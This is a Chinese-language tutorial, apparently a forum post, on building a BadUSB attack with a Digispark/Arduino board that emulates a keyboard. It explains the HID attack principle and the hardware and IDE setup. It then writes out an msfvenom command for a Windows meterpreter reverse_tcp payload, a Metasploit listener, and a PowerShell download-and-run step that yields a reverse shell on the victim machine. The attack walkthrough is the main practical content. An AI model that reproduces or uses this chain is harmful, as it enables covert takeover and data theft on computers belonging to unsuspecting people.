
0x001-简介
1. 概述
在2014年美国黑帽大会上,安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示了他们称为“BadUSB”的攻击方法,这种攻击方法让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当危险的状态。
2. 2. USB如何识别

3. USB设备的初始化

4.Badusb内部结构
从这张图便可以了解到–Badusb和普通的U盘并没有什么两样,因此迷惑性极高,很容易攻击成功

5.Badusb Hid攻击原理
HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。简而言之,今天要介绍的Badusb利用的是虚拟键盘来实现恶意代码的执行。
6.Badusb攻击优势
攻击者将恶意代码存放于Badusb的固件中,PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件无法应对BadUSB的攻击。
7.Teensy
攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。

0x002
1.Arduino是一款便捷灵活、方便上手的开源电子原型平台。其开发环境,主要包含两个主要的部分:硬件部分是可以用来做电路连接的Arduino电路板;另外一个则是Arduino IDE,你的计算机中的程序开发环境。你只要在IDE中编写程序代码,将程序上传到Arduino电路板后,程序便会告诉Arduino电路板要做些什么了。

2.攻击流程
Bad-Usb插入后,会模拟键盘对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载恶意代码(通常为powershell脚本)并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。

2.购买硬件
淘宝随便花个十块钱捡破烂

实体


0x003 开发环境安装
Arduino IDE

Arduino下载: 4adK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2S2M7X3c8#2K9h3&6G2i4K6u0W2j5$3y4Q4x3V1k6W2L8W2)9J5c8V1#2S2K9h3&6Q4x3V1k6e0L8$3k6@1N6$3q4J5k6b7`.`.
Digispark驱动程序 (Windows):f30K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6V1K9h3N6A6M7%4c8#2L8i4m8Q4x3V1k6p5K9h3N6A6M7%4c8#2L8i4m8m8M7X3c8#2K9h3&6G2i4K6u0r3M7X3g2D9k6h3q4K6k6i4x3`.
配置Arduino IDE
打开 文件->首选项
把这个网址添加到附加开发板管理网址
8d2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6J5j5i4N6Q4x3X3g2Y4K9i4c8Z5N6h3u0#2M7$3g2J5j5$3!0F1N6r3g2F1N6q4)9J5k6h3y4G2L8g2)9J5c8X3c8A6k6$3W2K6N6s2g2E0M7q4)9J5c8X3q4J5k6s2g2A6L8X3!0Q4x3X3c8T1L8$3q4J5k6s2y4Q4x3X3c8A6L8X3c8W2P5q4)9J5c8X3#2S2M7%4c8W2M7W2)9J5c8Y4m8S2j5$3E0S2k6$3g2Q4y4h3k6V1K9h3N6A6M7%4c8#2L8i4m8Q4y4h3k6A6L8X3c8W2P5q4)9J5k6h3A6K6L8$3^5`.

在Arduino中添加Digispark的支持
等待开发板管理器加载完成,搜索digistump并安装第一个Digistump AVR Boards

如果你没有安装 这里显示的是安装 点击安装即可
安装Windows下的驱动
打开上面的链接,下载Digistump.Drivers

解压后执行Install Drivers.exe即可

0x004 测试阶段
使用kali linux生成一个Payload:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=4444 -f exe > shell.exe
然后打开kali linux 终端输入msfconsole

设置好监听
使用phpstudy搭建一个本地的环境

然后此后门的下载链接就是:127.0.0.1/shell.exe
打开Arduino
重点就是使用powershell下载

接着插上USB 然后先点击验证编译

验证完整后下方会提示

接下来点击上传即可


完事 接下来 这个上传完成后就会自动运行 所以需要拔掉再插
0x005 测试GIF
GIF首先点击了上传(已经插入USB)上传完成后 自动运行 下载后门后 反弹回话!
GLHF!
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课